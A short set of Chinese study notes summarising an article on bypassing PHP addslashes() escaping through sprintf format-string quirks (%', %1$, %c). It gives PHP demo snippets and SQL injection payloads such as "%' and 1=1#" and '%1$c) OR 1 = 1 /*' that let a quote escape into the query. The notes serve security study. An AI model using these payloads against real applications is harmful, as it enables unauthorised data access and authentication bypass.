原文链接:https://paper.seebug.org/386/
摘要点关键知识点
<?php $input = addslashes("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;
通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了'%'
)会被当作字符类型,而被吃掉,单引号'
,斜杠\
也不例外。
如果能提前将%' and 1=1#
拼接入sql语句,若存在SQLi过滤,单引号会被转义成\'
select * from user where username = '%\' and 1=1#';
然后这句sql语句如果继续进入格式化字符串,\
会被%
吃掉,'
成功逃逸
<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>
还可以使用%1$
吃掉后面的斜杠,而不引起报错
<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>
国外安全研究人员Anthony Ferrara给出了另一种此漏洞的利用方式
<?php $input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;
%c
起到了类似chr()
的效果,将数字39转化为'
,从而导致了sql注入。